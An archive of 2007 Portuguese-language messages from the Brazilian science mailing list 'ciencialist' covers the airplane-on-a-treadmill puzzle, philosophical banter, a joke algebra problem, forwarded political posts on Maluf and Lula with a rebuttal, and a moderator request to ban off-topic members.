> []s
>
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 09, 2007 6:02 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
> o José Renato não entendeu ainda? Será que ele está pensando que a
> esteira está arrastando o avião para trás?
>
> Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
> avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
> alegria!).
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@> escreveu
> >
> > Olá JC
> >
> > Este debate se originou de um experimento mental, uma "pegadinha", que
> > continha este enunciado:
> >
> > Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> > se move para frente, a esteira, a partir de um dispositivo automático,
> > começa a rolar para tras, na mesma velocidade de deslocamento do
avião.
> >
> > Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> > relação ao ar), ou não decola (ou seja, não atinge a velocidade de
voo).
> >
> > Depois de, inicialmente, alguns serem "enganados" pelo "red hering", a
> > esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> > decolava, pois não saia do lugar, todo mundo entendeu que, era
> > irrelevante a esteira, pois esta só aplicava força através dos
> > rolamentos das rodas, que são, no caso do avião, dispositivos de
> > ELIMINAR a ligação entre o avião e o solo.
> >
> > Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> > rodas do avião, que continua a se mover para frente.
> >
> > Parte do engano é a forma como "vemos" as rodas, como dispositivos de
> > tração. Se colocar um carro na esteira, como ele depende da "tração"
> > das rodas para se mover, o rolar da esteira impede que este ande para
> > frente.
> >
> > Mas aviões se movem com propulsão separada do solo e das rodas! Ele se
> > move pelas hélices e jatos. E estes o moverão para frente seja sobre
> > rodas na esteira, seja sobre eskis no gelo, seja sobre flutuadores na
> > água.
> >
> > Mas o Renato se recusa a entender, e afirma que o avião não decola.
> > Mais ainda, já bem encurralado, resolveu que "depende" do referencial
> > com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> > seja, se medir a velocidade do avião em relação a esteira, ele não
> > voa, se mudar a passar a medir a velocidade do avião em relação ao
> > solo, ele voa.
> >
> > É um caso fantástico, onde dependendo do referencial em que mede algo,
> > o objeto se comporta de forma diferente!..:-) Até a relatividade do
> > coitado do Einstein (que já foi usado para justificar todo e qualquer
> > absurdo) ele tentou usar para sua tese.
> >
> > Parte do engano veio de uma discussão paralela com o Takata, que
> > defendia que, em determinadas circunstâncias, o atrito dos rolamentos
> > das rodas poderiam desacelerar o avião o suficiente para que este não
> > decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> > dos rolamentos, o avião decola sempre.
> >
> > Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> > enganaram no início com o "red hering" da esteira (como o próprio
> > Leo), mas sem sucesso algum..:-)
> >
> > Se quiser tentar também, eu já desisti..:-)
> >
> > Um abraço.
> >
> > Homero
> >
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SUBJECT: RE: [ciencialist] RE: Murilo Silva : Questão de Ordem
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 21:59

Hermético demais, como deve ser uma iniciação.
Maior significado só p/vc mesmo.
Eu poderia estar em muitos outros lugares além de Sampa, onde, como de fato,
já estive.
abr/M.


>From: Ferrari <emailferrari@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] RE: Murilo Silva : Questão de Ordem
>Date: Wed, 11 Apr 2007 23:37:30 -0300 (ART)
>
>Olá Murilo Silva!
>
>Murilo >>> admiro, cada x+ a sua paciência.
>
>--- Hehehe... eu também!
>
>Murilo >>> Vc está dando respostas preciosas a quem
>não tem perguntas!!!
>
>--- Deus não joga dados.
>
>Murilo >>> Não estou num sítio, pelo contrário, estou
>de gravata no buxixo total...
>
>--- Mr. Anderson, e vc acha que poderia estar em algum
>outro lugar senão ai?
>
>Murilo >>> Mas meu caminho filosófico é muito mais
>solitário.
>
>--- Sólitário somos sempre. Sozinhos, nunca.
>
>Murilo >>> Conte mais sobre a tal facada!
>
>--- Depois de uma das facadas escrevi esta cronica
>aqui abaixo. Vou posta-la porque retirei do blog
>quando publiqueia no xixi com tinta:
>
>- - - - - - -
>
>MAIS SILVA! (ferrari)
>
>Conta a história que Newton cochilava num torpor
>prazeroso quando uma maçã atingiu sua cabeça. Um
>acontecimento trivial, mas que, justamente pela
>trivialidade, acabou levando o cientista a compreender
>a órbita dos planetas.
>
>Compreensão é assim mesmo, coisa que acontece pela
>benção do Espírito Susto – estupro inesperado
>perfurando a carne virgem da mente. Num momento
>estamos dormindo, empanturrados pela rotina e, de
>súbito, sem mais nem menos, a mesma rotina de sempre
>cai feito maçã sobre nossas cabeças, fazendo brotar
>ali um galo, um canto que anuncia o raiar de um novo
>dia, de novo.
>
>— Quem gostaria de compartilhar a experiência? — ele
>perguntou.
>
>Uma tonelada de silêncio não seria suficiente pra
>pintar na imaginação alheia o que eu tinha pra dizer.
>Usar palavras pra exprimir o que havia compreendido
>seria como gritar: “eu sou mudo!” Havia acabado de
>dançar a dança dos loucos. Uma estranha compreensão
>morava dentro de mim, cristalina, lúcida, trivial, mas
>profundamente incomunicável. Como expressar o olhar
>com palavras, se as palavras só servem pra distrair o
>olhar?
>
>— A ficha caiu! — declarei.
>
>Não chacoalhei o galho nem cobicei a maçã. Ela
>simplesmente caiu, como um quadro que cai da parede
>depois de ter permanecido no mesmo lugar durante anos.
>Por que caiu nesse instante e sobre minha cabeça, eu
>não sei. Caiu! Caiu, e pronto. Caiu, e ponto. Caiu, e
>ponto de exclamação! Caiu, sem ponto de interrogação.
>A ficha caiu, e uma ligação se completou. A voz do
>outro lado disse “alô”, e eu também. Não tenho como
>descompreender o compreendido.
>
>— Obrigado! Alguém mais quer compartilhar? — ele
>disse.
>
>Olhei ao redor. Ninguém parecia espantado com minha
>declaração. Meu espanto era meu. Minha declaração era,
>além de egoísta, apenas uma rotina de palavras. Cada
>um permanecia um, ligado à sua própria rotina e retina
>existencial. Após o susto fui incorporando a minha
>também, em doses homem-apáticas. Agora com o auxílio
>da memória, coloco o antes e o depois, cara a cara. O
>que vejo é o mesmo de sempre, porém, é um sempre mais
>arrepiado. Mais amplo. Mais trivial. Mais Silva!
>
>- - - - - - -
>
>
>abç silva
>ferrari
>
>
>
>
>
>
>
>--- murilo filo <avalanchedrive@hotmail.com> escreveu:
>
> > Ferrari,
> > admiro, cada x+ a sua paciência.
> > Villas Boas enxugando gelo... a missão...
> > Vc está dando respostas preciosas a quem não tem
> > perguntas!!!
> > Não estou num sítio, pelo contrário, estou de
> > gravata no buxixo total, mas
> > meu caminho filosófico é muito mais solitário.
> > Evidentemente, isso não é uma crítica... é pura
> > admiração.
> > Conte mais sobre a tal facada!
> > abr/Muliro
> >
> >
> > >From: Ferrari <emailferrari@yahoo.com.br>
> > >Reply-To: ciencialist@yahoogrupos.com.br
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: [ciencialist] Re: Homero: Questão de Ordem
> > - Direito de Defesa
> > >Date: Tue, 10 Apr 2007 11:32:41 -0300 (ART)
> > >
> > >Olá Homero!
> > >
> > >Homero >>> Apenas para constar, e para ajuda-lo a
> > >decidir que rumo tomar.
> > >
> > >--- Homero, o sábio, calejado e ilustre Paulinho da
> > >Viola diz o seguinte: "Não sou eu quem me navega,
> > quem
> > >me navega é o mar". Canto o mesmo refrão junto com
> > >Paulinho. Como disse ao murilo, qualquer lugar que
> > se
> > >chega é apenas um lugar qualquer. Esta compreenção
> > é o
> > >unico lugar onde se pode chegar. O resto é navegar.
> > >Estamos no mesmo barco, quer vc queira, quer não.
> > Ser
> > >útil, dentro deste barco, não é ajudar ninguém a
> > >chegar a lua, ou construir carros de hidrogenio.
> > Que
> > >utilidade tem isto frente a inevitável morte? Tudo
> > >vira bosta, lembra? Ser util, dentro deste barco, é
> > >compreender a ilusão do materialismo, é compreender
> > >que tudo vira bosta, mas o processo de "virar" é
> > >eterno. Eis o moto-continuo. Abre logo a carta,
> > >Homero, ou vc quer virar bosta junto com a carta?
> > >
> > >Homero >>> eu acho suas participações totalmente
> > >inúteis, em termos de ciência.
> > >
> > >--- Faz todo sentido vc achar isto, a visão que vc
> > tem
> > >de ciencia é totalmente materialista.
> > >
> > >Homero >>> E, sim, fica parecendo dogmatismo e
> > >cegueira religiosa, teológica, e irracional.
> > >
> > >--- Este é seu ponto de vista, Homero. Respeito.
> > Mas
> > >não concordo com ele. Olhando do meu ponto de
> > vista,
> > >não-materialista, o dogmático é você.
> > >
> > >
> > >sinceramente
> > >ferrari
> > >
> > >
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>




SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 22:28

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> Estranho. Pra mim aparece normal...
>
> []s,
>
> Roberto Takata

>>>>Tentei de novo de outro PC. De novo so' o fonte HTML. Mostro o
inicio da pg:

<?xml version="1.0" encoding="ISO-8859-1" ?>
- <SERIAL>
- <CONTROLINFO>
<DATETIME>20070412 224400 4 101</DATETIME>
<LANGUAGE />
<STANDARD />
<PAGE_NAME>sci_arttext</PAGE_NAME>
<PAGE_PID>S0001-37652006000400005</PAGE_PID>
<APP_NAME>scielo</APP_NAME>
<ENABLE_STAT_LINK>1</ENABLE_STAT_LINK>
<ENABLE_CIT_REP_LINK>1</ENABLE_CIT_REP_LINK>
- <SCIELO_INFO>
<SERVER>www.scielo.br</SERVER>

(continua assim por varias pgs).

Alguem alem do Takata conseguiu abrir?

Abs,
Eduardo Torres




SUBJECT: -Questão do ITA. muito boa
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/04/2007 22:39






--------------------------------------------------------------------------------

se é bão de calculo
então, mata essa...!!!...hehehe

sem olhar a resposta!!!!!...espertão!!!!!!




Assunto: Questão do ITA.



Esta questão de matemática é muito porreta!!!

Rasgue a mente!
Essa nem o Mestre dos Magos acertaria a resposta.

A questão abaixo caiu na prova do ITA do ano passado, portanto aí vai
um exemplo para os que almejam estudar nas melhores universidades do
país, ok?

Pura matemática

Uma mãe é 21 anos mais velha que o filho.
Daqui há seis anos a mãe terá uma idade 5 vezes maior que o filho.
Pergunta : Onde está o pai agora ?

Há que fazer alguns cálculos para obter a resposta.
Por mais incrível que pareça a resposta é dada pela matemática.
Veja a resposta abaixo... é bem interessante:









































Solução:

Analisando Hoje :

A mãe tem hoje Y anos.
O menino tem hoje X anos.
Portanto com a mãe 21 anos mais velha : Y = X + 21

Daqui a 6 anos : ( Y + 6 ) e ( X + 6 )
Portanto com a mãe 5 vezes mais que filho: Y + 6 = 5 ( X + 6 )

Resolvendo:

Y + 6 = 5 X + 30
Y = 5X + 24

Dai, substituindo na primeira equação:Y = X + 21, teremos:
5X + 24 = X + 21

Logo:
- 4X = 3
X = -3/4

O menino tem hoje -3/4 anos, ou seja, - 9 meses (menos nove meses !!).

A resposta é lógica:
Se o menino tem exatos menos 9 meses, ele nascerá daqui a nove meses, então:

Resposta do problema proposto:
O pai está comendo a mãe enquanto você esquenta a cabeça.


Brilhante !!!!!!!!!!



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Nos EUA a justiça funciona
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, "Pela Legitima Defesa" <pld@pelalegitimadefesa.org.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, "Cidadania Alerta" <cidadanialerta@terra.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/04/2007 23:45

transcrevo do Caio Bertazzi in grupo de politica




Maluf pode ter desviado US$ 120 milhões, diz promotor
de NY

Morgenthau diz que as obras da antiga avenida Água
Espraiada custaram três
vezes mais e que tem provas sobre as irregularidades.
Ex-prefeito já foi indiciado

Daniel Trotta e Paritosh Bansal, Reuters

NOVA YORK - O ex-prefeito de São Paulo Paulo Maluf,
que foi indiciado em Nova York por suspeita de desvio
de recursos na construção da avenida Roberto Marinho,
pode ter arrecadado US$ 120 milhões em propinas, disse
o promotor do distrito de Manhattan Robert Morgenthau,
nesta terça-feira, 10.

Um júri popular de Nova York indiciou Maluf e quatro
outras pessoas por suspeita de roubo e conspiração em
março, seguindo uma investigação liderada pelo
escritório de Morgenthau com a cooperação de
autoridades brasileiras. Maluf, que já foi candidato à
Presidência, se elegeu deputado federal em 2006 pelo
PP e foi prefeito da cidade de São Paulo e governador
do Estado de São Paulo.

Morgenthau disse à Reuters em entrevista que o projeto
da antiga avenida Água Espraiada deveria custar US$
200 milhões, mas acabou custando US$ 600 milhões, em
grande parte por meios ilegais.

"Acusamos Maluf de passar 11,5 milhões por aqui (Nova
York) porque temos todas as notas e tudo. Podemos
provar que isso tudo foram propinas nesse contrato.
Acreditamos que ele roubou 120 milhões desse projeto",
disse Morgenthau

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Quinze perguntas . . .
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, "Pela Legitima Defesa" <pld@pelalegitimadefesa.org.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <consciencia_sustentavel@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/04/2007 23:54


. .







( Repassando . . . )






QUINZE PERGUNTAS EXTREMAMENTE DIFÍCEIS DE SEREM RESPONDIDAS.


PROCURA-SE UMA MENTE SUPERIOR CAPAZ DE RESPONDÊ-LAS.



1.Por que o presidente do povo usa terno Armani?



2. Por que o presidente do povo pode ter ensino fundamental incompleto e um gari necessita de ensino fundamental completo?



3. Por que o presidente do povo acumula aposentadoria por invalidez, aposentadoria de dep. federal, pensão vitalícia de "perseguido político", salário de presidente de honra do PT e salário de presidente da república?



4. Por que o presidente do povo é perseguido político, sendo que passou apenas UMA noite no DOPS?



5. Por que o presidente do povo comprou um avião da concorrente da Embraer?



6. Por que o presidente do povo se aposentou por invalidez apenas por ter um dedo a menos e hoje trabalha como presidente do Brasil?



7. Por que o presidente do povo protege seus amigos comprovadamente corruptos e nunca aconteceu nada com ele?



8. Por que o presidente do povo se vangloria de não ter estudo e ser filho de mãe analfabeta e acha normal ter filhos estudando fora do Brasil?



9. Por que o presidente do povo quando do seu mandato de Dep. Federal, não participou da vida parlamentar do Congresso?



10. Por que o partido do presidente do povo tem ligação com a FARC e ninguém comenta isto?



11. Por que a mulher do presidente do povo não faz absolutamente nada ?



12. Por que o presidente do povo não sofreu "impeachment" como o Collor ?



13. Por que a candidata Heloísa Helena foi expulsa do PT e o José Dirceu (dep.cassado) e Antonio Palocci (indiciado por quebra ilegal de sigilo bancário e outros crimes) não o foram?



14. Por que o presidente do povo nunca soube das coisas partido e do governo dele, MAS SABE DE TUDO SOBRE OS GOVERNOS ANTERIORES ???



15. Finalmente, a pergunta mais difícil de todas: Por que tantos intelectuais, cientistas, professores universitários, reitores e outros membros da nata do país, continuam apoiando o "presidente do povo?"

- Só pode ser por total falta de vergonha na cara, pois sabem de tudo como todo mundo sabe.







Márcio Dayrell Batitucci

Facilitador de Mudanças Organizacionais








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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: P/ JC - Discordando, politely
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 01:21

Concordo! :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> > Non sequitur. "The book is on the table" é o mesmo que "O livro está
> > sobre mesa", qual é o equivalente teológico de "O elétron tem carga de
> > módulo 1,6 x 10^(-19)"?
>
> Deus disse: Que o elétron tenha carga de módulo 1,6 x 10^(-19)!
>
> > Qual o equivalente filosófico?
>
> É da natureza do elétron ter carga de módulo 1,6 x 10^(-19)
>
> Equivalente político:
> O elétron passa a ter carga de módulo 1,6 x 10^(-19). Revogam-se as
> disposições em contrário.
>
> Equivalente midiático:
> (Voz do Willam Bonner) - Crescimento Nulo. O elétron no Brasil
continua a
> ter carga de módulo 1,6 x 10^(-19). (Miram Leitão comenta como no
prmeiro
> mundo estão sendo desenvolvidos programas de incremento de elétrons
muito
> mais eficientes do que os do Brasil)
>
> Acho que isso dá uma boa brincadeira pra sites de humor científico :)
>
> Gil
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: P/ JC - Discordando, politely
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 01:27

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Hello Teacher!

Hi boy.

> JC >>> Não estou bem certo de ter entendido o que você
> gostaria que eu tivesse entendido.
>
> --- Of course you are.

Sorry, não tenho fé nos seus dons proféticos. :)

> JC >>> É importante termos um mesmo entendimento?
>
> --- It would help.

Porque?

> JC >>> Non sequitur.
>
> --- Cuméquiéunegocio?

A conclusão não se segue da premissa.

> JC >>> "The book is on the table" é o mesmo que "O
> livro está sobre mesa".
>
> --- Porque vc sabe esta equivalencia?

Aprendi na escola. Que pergunta boba. :)

> JC >>> Qual é o equivalente teológico de "O elétron
> tem carga de módulo 1,6 x 10^(-19)"?
>
> --- Porque vc não sabe esta equivalencia?

É essa a sua resposta? E as outras perguntas, você também não sabe
responder?

>
> pfipca pem ppaz
> ferrari

Abraços,
JC






SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 01:32

Olá José Renato,

Desculpe-me, mas minha ignorância só permite achar uma solução para as
condições descritas do problema idealizado: o avião voa.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos!
>
> Não gostaria de lhe estragar o prazer de achar as duas soluções
possíveis
> para a questão apresentada. Lembro que esse mesmo problema foi
apresentado
> há tempos na lista e no final ficaram todos dizendo que voa e apenas eu
> dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> colocado várias dicas para serem analisadas de modo a acompanhar meu
> raciocínio lógico-matemático. Mas até agora parece que ninguém
conseguiu
> entender minhas explicações.
>
> Abraços
>
> José Renato
> ...................................................
>
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, April 11, 2007 12:12 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá JR,
>
> Não conheço sua solução (é sua?), aliás, nem sabia que tinha outra
> além da que o Homero comentou (é dele?).
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora
> com a
> > explicação de Homero vc ficou conhecendo uma das soluções possíveis da
> > questão. A outra solução ainda não consegui transmitir aos
> interlocutores da
> > lista. Pelo menos até agora ninguém disse que a entendeu.
> Estranhamente,
> > alguns ficaram calados depois de algumas explicações mais
> detalhadas... É
> > bom lembrar que as idéias não têm dono, mas têm autoria. É de boa
ética
> > citá-la ao transmitir em outras plagas.
> >
> > []s
> >
> > José Renato
> > .............................................
> >
> > ----- Original Message -----
> > From: "José Carlos Antonio" <profjc2003@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 09, 2007 6:02 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
> > o José Renato não entendeu ainda? Será que ele está pensando que a
> > esteira está arrastando o avião para trás?
> >
> > Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
> > avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
> > alegria!).
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
escreveu
> > >
> > > Olá JC
> > >
> > > Este debate se originou de um experimento mental, uma
"pegadinha", que
> > > continha este enunciado:
> > >
> > > Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> > > se move para frente, a esteira, a partir de um dispositivo
automático,
> > > começa a rolar para tras, na mesma velocidade de deslocamento do
> avião.
> > >
> > > Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> > > relação ao ar), ou não decola (ou seja, não atinge a velocidade de
> voo).
> > >
> > > Depois de, inicialmente, alguns serem "enganados" pelo "red
hering", a
> > > esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> > > decolava, pois não saia do lugar, todo mundo entendeu que, era
> > > irrelevante a esteira, pois esta só aplicava força através dos
> > > rolamentos das rodas, que são, no caso do avião, dispositivos de
> > > ELIMINAR a ligação entre o avião e o solo.
> > >
> > > Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> > > rodas do avião, que continua a se mover para frente.
> > >
> > > Parte do engano é a forma como "vemos" as rodas, como
dispositivos de
> > > tração. Se colocar um carro na esteira, como ele depende da "tração"
> > > das rodas para se mover, o rolar da esteira impede que este ande
para
> > > frente.
> > >
> > > Mas aviões se movem com propulsão separada do solo e das rodas!
Ele se
> > > move pelas hélices e jatos. E estes o moverão para frente seja sobre
> > > rodas na esteira, seja sobre eskis no gelo, seja sobre
flutuadores na
> > > água.
> > >
> > > Mas o Renato se recusa a entender, e afirma que o avião não decola.
> > > Mais ainda, já bem encurralado, resolveu que "depende" do
referencial
> > > com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> > > seja, se medir a velocidade do avião em relação a esteira, ele não
> > > voa, se mudar a passar a medir a velocidade do avião em relação ao
> > > solo, ele voa.
> > >
> > > É um caso fantástico, onde dependendo do referencial em que mede
algo,
> > > o objeto se comporta de forma diferente!..:-) Até a relatividade do
> > > coitado do Einstein (que já foi usado para justificar todo e
qualquer
> > > absurdo) ele tentou usar para sua tese.
> > >
> > > Parte do engano veio de uma discussão paralela com o Takata, que
> > > defendia que, em determinadas circunstâncias, o atrito dos
rolamentos
> > > das rodas poderiam desacelerar o avião o suficiente para que
este não
> > > decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> > > dos rolamentos, o avião decola sempre.
> > >
> > > Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> > > enganaram no início com o "red hering" da esteira (como o próprio
> > > Leo), mas sem sucesso algum..:-)
> > >
> > > Se quiser tentar também, eu já desisti..:-)
> > >
> > > Um abraço.
> > >
> > > Homero
> > >
> >
> >
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> > Para alterar a categoria classificada, visite
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> > 5.1.00/5003
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> 22:59
>




SUBJECT: Re: [ciencialist] Quinze perguntas . . .
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 05:18


----- Original Message -----


PROCURA-SE UMA MENTE SUPERIOR CAPAZ DE RESPONDÊ-LAS.

1.Por que o presidente do povo usa terno Armani?

2.Todo presidente eleito na atual conjuntura brasileira é presidente do povo (mesmo que nao governe para o povo), e, num mundo globalizado, nada mais normal do que usar roupas de marcas internacionais. Ele nao usa so Armani, mas a maior parte dos ternos que o presidente usa sao confeccionados no Brasil. Seria legal se ele, no lugar do terno, usasse uniforme? Se ele estivesse vestido como "operario" tambem seria criticado, portanto...

2. Por que o presidente do povo pode ter ensino fundamental incompleto e um gari necessita de ensino fundamental completo?

2.Um gari nao precisa de ensino fundamental completo para trabalhar, mas o numero de pessoas procurando empregos é tao grande que os requisitos estao sendo cada vez mais absurdos.

3. Por que o presidente do povo acumula aposentadoria por invalidez, aposentadoria de dep. federal, pensão vitalícia de "perseguido político", salário de presidente de honra do PT e salário de presidente da república?

3.A lei que se aplica a ele é a mesma que se aplica a mim e a voce. Portanto, se voce pudesse usar a lei em seu favor e pudesse acumular diversas aposentadorias, tambem o faria.

4. Por que o presidente do povo é perseguido político, sendo que passou apenas UMA noite no DOPS?

4.Qual lei estabelece a estadia minima no DOPS para a classificacao do individuo como perseguido politico? E, entao, nao seriam perseguidos politicos os individuos que nao foram aprisionados, mas de outras formas tiveram a liberdade tolhida?

5. Por que o presidente do povo comprou um avião da concorrente da Embraer?


5.O presidente nao compra nada. Uma equipe capacitada escolheu a aeronave mais adequada a funcao e nenhum modelo da EMBRAER se encaixava nos requisitos.


6. Por que o presidente do povo se aposentou por invalidez apenas por ter um dedo a menos e hoje trabalha como presidente do Brasil?


6.Como disse anteriormente, a lei permite, e na mesma situacao, todos se aprofitam desse mecanismo. A lei assim determina e nao proibe o individuo beneficiado de desenvolver uma vida normal.
7. Por que o presidente do povo protege seus amigos comprovadamente corruptos e nunca aconteceu nada com ele?

7.A politica sempre foi assim e nao sou eu quem vou muda-la...

8. Por que o presidente do povo se vangloria de não ter estudo e ser filho de mãe analfabeta e acha normal ter filhos estudando fora do Brasil?
8.Ja ouviu aquela maxima: "Quero para o meu filho tudo que eu nao tive!"? Se eu tivesse condicoes de enviar meus filhos para terem melhor educacao fora do pais, eu enviaria. Nao sei se voce faria o mesmo...
9. Por que o presidente do povo quando do seu mandato de Dep. Federal, não participou da vida parlamentar do Congresso?

9.Boa pergunta... E qual o criterio seria o de "participar da vida parlamentar" num pais onde o individuo dificilmente recorda o ultimo deputado que ajudou a eleger?

10. Por que o partido do presidente do povo tem ligação com a FARC e ninguém comenta isto?

10.Sempre ouvi na minha infancia que os petistas comiam criancinhas no almoco e iriam difundir o caos politico no Brasil.

11. Por que a mulher do presidente do povo não faz absolutamente nada ?

11.O que seria absolutamente nada? Ela deveria fazer o que alem de ser a esposa do presidente? Voce elegeu tambem a primeira dama quando votou?

12. Por que o presidente do povo não sofreu "impeachment" como o Collor ?

12.Pois nao haviam motivos para isso (conforme a oposicao afirma).

13. Por que a candidata Heloísa Helena foi expulsa do PT e o José Dirceu (dep.cassado) e Antonio Palocci (indiciado por quebra ilegal de sigilo bancário e outros crimes) não o foram?

13.Um partido nao é a casa da mae Joana. Se os integrantes do PT decidiram expulsar a HH e decidiram nao o fazer com os demais citados, entao quem somos nos para julga-los? Decidiram internamente e democraticamente.

14. Por que o presidente do povo nunca soube das coisas partido e do governo dele, MAS SABE DE TUDO SOBRE OS GOVERNOS ANTERIORES ???
14.Muito melhor do que nos criticarmos é criticar os outros, voce nao acha?
15. Finalmente, a pergunta mais difícil de todas: Por que tantos intelectuais, cientistas, professores universitários, reitores e outros membros da nata do país, continuam apoiando o "presidente do povo?"
15.Pois é impossivel a grande maioria da massa pensante do Brasil estar errada e meia duzia de burgueses estarem certos. A burguesia so pensa em si propria e nao pensa na nacao como um todo. Passamos do momento em que o bem da massa burguesa coincidia em parte com o bem geral da nacao. O capitalismo no mundo todo esta se adaptando. A terceira via esta ai. Acorda.



Márcio Dayrell Batitucci
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SUBJECT: Re: P/ JC - Discordando, politely
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 08:06

Olá Zé!

Vou falar o portugues claro e com cecedilha desta vez.
O que tentei lhe mostrar com minhas perguntas é que
fica impossivel vc fazer uma tradução se desconhece as
duas linguas que pretende relacionar. É impossivel no
caso de uma tradução de idiomas, e é impossivel também
no caso de um tradução semantica. Ou seja, se vc fala
unica e exclusivamente fisiques, não tem como traduzir
"eletron" para outros idiomas como quantiques,
filosofes e teologiques. Peço sua compreenÇão cincera,
pois de imcompreensão sincera, o mundo já está cheio e
não necessita mais.


Tem quiu, my brother
ferrari










--- José Carlos Antonio <profjc2003@yahoo.com.br>
escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...> escreveu
> >
> > Hello Teacher!
>
> Hi boy.
>
> > JC >>> Não estou bem certo de ter entendido o que
> você
> > gostaria que eu tivesse entendido.
> >
> > --- Of course you are.
>
> Sorry, não tenho fé nos seus dons proféticos. :)
>
> > JC >>> É importante termos um mesmo entendimento?
> >
> > --- It would help.
>
> Porque?
>
> > JC >>> Non sequitur.
> >
> > --- Cuméquiéunegocio?
>
> A conclusão não se segue da premissa.
>
> > JC >>> "The book is on the table" é o mesmo que "O
> > livro está sobre mesa".
> >
> > --- Porque vc sabe esta equivalencia?
>
> Aprendi na escola. Que pergunta boba. :)
>
> > JC >>> Qual é o equivalente teológico de "O
> elétron
> > tem carga de módulo 1,6 x 10^(-19)"?
> >
> > --- Porque vc não sabe esta equivalencia?
>
> É essa a sua resposta? E as outras perguntas, você
> também não sabe
> responder?
>
> >
> > pfipca pem ppaz
> > ferrari
>
> Abraços,
> JC
>
>
>
>
>




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SUBJECT: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 08:35

Pelo andar da carruagem por que passa a C-List, solicito aos amigos Brudna e Takata a "Exclusão" dos listeiros Ferrari, Silvio Cordeiro, José Renato e Murilo Filo, principais causadores dos desvios nos propósitos da lista, assim como a moderação rigorosa dos listeiros que participam desses desvios 'contra-argumentando' sobre assuntos não-pertinentes.
